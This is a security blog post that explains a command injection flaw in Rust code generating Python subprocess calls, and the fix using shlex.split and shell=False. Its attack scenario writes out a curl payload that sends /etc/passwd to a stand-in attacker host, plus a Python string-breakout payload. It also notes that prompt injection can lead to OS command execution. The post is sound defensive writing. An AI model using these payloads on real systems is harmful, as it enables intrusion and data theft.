Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in `crates/goose-mcp/src/computercontroller/platform/linux.rs`, where Rust code generated Python scripts that called `subprocess.run(cmd, shell=True)` with unescaped, user-controlled input. Any attacker controlling the `commands` parameter could inject shell metacharacters (`;`, `|`, `` ` ``, `$()`) to execute arbitrary OS commands. The fix switches to `subprocess.run(shlex.split(cmd), shell=False)` and escapes backslashes and single quotes before embedding commands in the generated script, eliminating the shell interpretation layer entirely.

Vulnerability at a Glance

cweCWE-78
fixSwitch to `shell=False` with `shlex.split()` and escape single quotes and backslashes before string interpolation
riskArbitrary OS command execution on the host system
languageRust (generating Python)
root causeUser-controlled strings interpolated unescaped into `subprocess.run(..., shell=True)` calls in Rust-generated Python scripts
vulnerabilityOS Command Injection

How Command Injection Happens in Rust-Generated Python Scripts and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability OS Command Injection
CWE CWE-78
Language Rust (generating Python)
Risk Arbitrary OS command execution
Root Cause Unsanitized user input in subprocess.run(..., shell=True)
Fix shell=False + shlex.split() + quote escaping

Introduction

The linux.rs file inside crates/goose-mcp/src/computercontroller/platform/ is responsible for automating system-level interactions on Linux hosts. It does something architecturally interesting — and, as it turned out, dangerous: it generates Python scripts at runtime in Rust, then executes them. A flaw in how those scripts were constructed at line 185 meant that anyone who could influence the commands parameter passed to execute_system_script() could run arbitrary OS commands on the host.

The vulnerability is a textbook CWE-78 (OS Command Injection), but with a twist that makes it easy to miss in code review: the injection point is in Rust string formatting code, and the dangerous call is in Python. The two-language boundary obscures the taint flow.


The Vulnerability Explained

The Dangerous Pattern

The vulnerable code generated a Python helper script in Rust. Here is the relevant run_command function that was being written into the script:

# Generated by vulnerable Rust code
def run_command(cmd):
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)

And the Rust code that built the per-command calls was:

// VULNERABLE — before the fix
for cmd in commands {
    script.push_str(&format!("run_command('{}')\n", cmd));
}

Two problems compound here:

  1. shell=True in Python's subprocess.run() tells the OS to pass the command string to /bin/sh -c. This means every shell metacharacter — ;, |, &, $(), backticks — is interpreted by the shell.

  2. No escaping before string interpolation in Rust. The format!("run_command('{}')\n", cmd) call inserts the raw value of cmd directly into the Python source code. If cmd contains a single quote, it breaks out of the Python string literal. If it contains a semicolon, the shell treats it as a command separator.

Attack Scenario

Imagine an attacker who can influence the commands vector passed into execute_system_script() — perhaps through an API endpoint, a plugin input, or an LLM-controlled tool invocation. They supply:

echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The Rust code generates this Python:

run_command('echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)')

When the Python script runs, /bin/sh receives:

echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell executes both commands. /etc/passwd is exfiltrated. The attacker can escalate from there — writing files, spawning reverse shells, or pivoting within the container network.

A simpler payload demonstrates the issue even more starkly:

'; import os; os.system('id') #

This would break out of the Python string entirely and inject arbitrary Python code into the generated script.

Why the Two-Language Boundary Is Dangerous

This vulnerability is subtle because the injection point (Rust string formatting) and the execution point (Python subprocess) are in different languages. A developer auditing only the Rust code might not notice that the formatted string becomes executable Python. A developer auditing only the Python function signature might not realize that cmd is user-controlled. Static analysis tools that don't model cross-language code generation can miss this class of bug entirely.


The Fix

The fix addresses both root causes: the shell interpretation layer, and the lack of escaping before interpolation.

Before and After

Before (vulnerable):

// In create_python_script() — the generated Python function
r#"
def run_command(cmd):
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#

// Command interpolation — no escaping
for cmd in commands {
    script.push_str(&format!("run_command('{}')\n", cmd));
}

After (fixed):

// Fixed Python function — shell=False, shlex.split() for tokenization
r#"
import shlex

def run_command(cmd):
    try:
        result = subprocess.run(shlex.split(cmd), shell=False, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#

// Command interpolation — backslash and single-quote escaping
for cmd in commands {
    let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");
    script.push_str(&format!("run_command('{}')\n", escaped));
}

Why Each Change Matters

1. shell=False eliminates the shell interpretation layer.

With shell=True, Python passes the entire command string to /bin/sh -c "...". Every shell metacharacter is live. With shell=False, Python calls execvp() directly — the OS receives the program name and argument list, and there is no shell involved to interpret ;, |, $(), or backticks. This is the most impactful single change.

2. shlex.split() safely tokenizes the command string.

Since shell=False requires a list of arguments rather than a single string, shlex.split(cmd) is used to parse "ls -la /tmp" into ["ls", "-la", "/tmp"]. Crucially, shlex.split() handles quoted strings and escape sequences according to POSIX shell rules, so "echo 'hello world'" becomes ["echo", "hello world"] — a single argument, not two.

3. Escaping backslashes and single quotes in Rust prevents Python string-literal injection.

Even with shell=False, a malicious cmd value containing a single quote could still break out of the Python string literal and inject arbitrary Python code into the generated script. The two-step Rust escaping:

let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");

ensures that a cmd of '; os.system('id') becomes \'; os.system(\'id\') inside the Python source — which is interpreted as a literal string value, not a code injection.

Note on ordering: The backslash replacement must come first. Replacing ' before \\ would cause the newly inserted \\ escape sequences to be double-escaped in a second pass.


Key Takeaways

  • shell=True is the root cause, not just a contributing factor. Switching to shell=False with a list of arguments removes the entire class of shell-metacharacter injection, regardless of what the input contains.
  • Cross-language code generation creates hidden taint flows. The injection point was in Rust (format!(..., cmd)), but the sink was in Python (subprocess.run(..., shell=True)). Always trace data flow across language boundaries when generating executable code.
  • Escaping order matters in multi-layer string construction. In the Rust fix, backslashes must be escaped before single quotes; reversing the order would re-introduce a vulnerability.
  • shlex.split() is not a security control by itself — it tokenizes safely, but the real protection comes from shell=False making the tokenized list irrelevant to shell interpretation.
  • LLM-driven tools that pass commands to system automation modules are high-value injection targets. If a language model can influence the commands parameter, prompt injection becomes a path to OS command injection.

How Orbis AppSec Detected This

  • Source: The commands parameter passed to execute_system_script() in linux.rs — user- or LLM-controlled strings with no prior sanitization.
  • Sink: subprocess.run(cmd, shell=True, ...) inside the Python script generated at line 185 of crates/goose-mcp/src/computercontroller/platform/linux.rs.
  • Missing control: No escaping of shell metacharacters or Python string-literal special characters before interpolation; shell=True enabled shell interpretation of the full command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced shell=True with shell=False + shlex.split() in the generated Python, and added backslash/single-quote escaping in the Rust string interpolation loop.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that command injection doesn't always look like a SQL string concatenation or a raw exec() call. When Rust generates Python that invokes shell commands, the dangerous pattern is split across two languages and two abstraction layers — making it easy to overlook in manual review. The fix is clean and surgical: shell=False removes the attack surface at the OS level, shlex.split() handles argument tokenization correctly, and explicit escaping in Rust prevents Python source-level injection. Together, these changes enforce the security invariant that shell commands never include unsanitized user input.

For developers building automation tools, agent frameworks, or any system that constructs and executes scripts from dynamic input: treat every format!() call that feeds into an executed script as a potential injection point, and apply the same rigor you would to a SQL query builder or an HTML template renderer.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #10748

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.